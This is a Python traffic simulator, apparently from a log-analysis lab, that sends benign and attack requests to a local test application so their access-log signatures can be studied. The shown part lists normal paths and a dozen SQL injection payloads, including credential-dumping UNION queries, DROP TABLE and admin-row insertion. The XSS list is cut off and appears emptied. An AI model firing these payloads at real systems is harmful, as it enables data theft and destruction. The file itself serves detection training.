#!/usr/bin/env python3
"""
©AngelaMos | 2026
simulate.py
HTTP traffic simulator for generating realistic attack and
normal log patterns against the dev-log target application
Provides 10 traffic modes via argparse: normal (benign
browsing with GET/POST mix), sqli (12 SQL injection
payloads), xss (10 script/event handler vectors),
traversal (10 dot-dot-slash and encoding variants), cmdi
(7 shell command injection payloads), log4shell (4 JNDI
lookup variants), ssrf (5 cloud metadata and internal
service targets), scanner (20 recon paths with 11 scanner
user-agents), flood (rapid-fire requests), and mixed
(50/10/40 normal/scanner/attack split). Uses urllib for
HTTP requests with configurable count, delay, and target
URL. Checks /health reachability before starting
Connects to:
dev-log/app.py - target endpoints
dev-log/nginx.conf - requests proxied through nginx
to generate access.log entries
"""
import argparse
import random
import sys
import time
import urllib.error
import urllib.request
DEFAULT_TARGET = "http://localhost:58319"
NORMAL_PATHS = [
"/",
"/health",
"/api/users",
"/api/users/1",
"/api/users/2",
"/api/users/3",
"/api/products",
"/api/products/1",
"/api/products/2",
"/api/search?q=shoes",
"/api/search?q=electronics",
"/api/search?q=sale+items",
"/static/css/main.css",
"/static/js/app.js",
"/static/images/logo.png",
]
SQLI_PAYLOADS = [
"/api/users?id=1' OR '1'='1",
"/api/users?id=1' OR '1'='1'--",
"/api/search?q=' UNION SELECT username,password FROM users--",
"/api/search?q='; DROP TABLE users;--",
"/api/users?id=1; SELECT * FROM information_schema.tables",
"/api/login?user=admin'--&pass=x",
"/api/products?id=1 UNION SELECT null,null,null",
"/api/search?q=' OR 1=1#",
"/api/users?id=0 UNION ALL SELECT concat(user,0x3a,password) FROM mysql.user",
"/api/search?q=1' AND (SELECT COUNT(*) FROM users) > 0--",
"/api/users?id=1' WAITFOR DELAY '0:0:5'--",
"/api/products?sort=name; INSERT INTO admin VALUES('hacker','pwned')",
]
XSS_PAYLOADS = [
"/api/search?q=",
"/api/search?q=
",
"/api/search?q=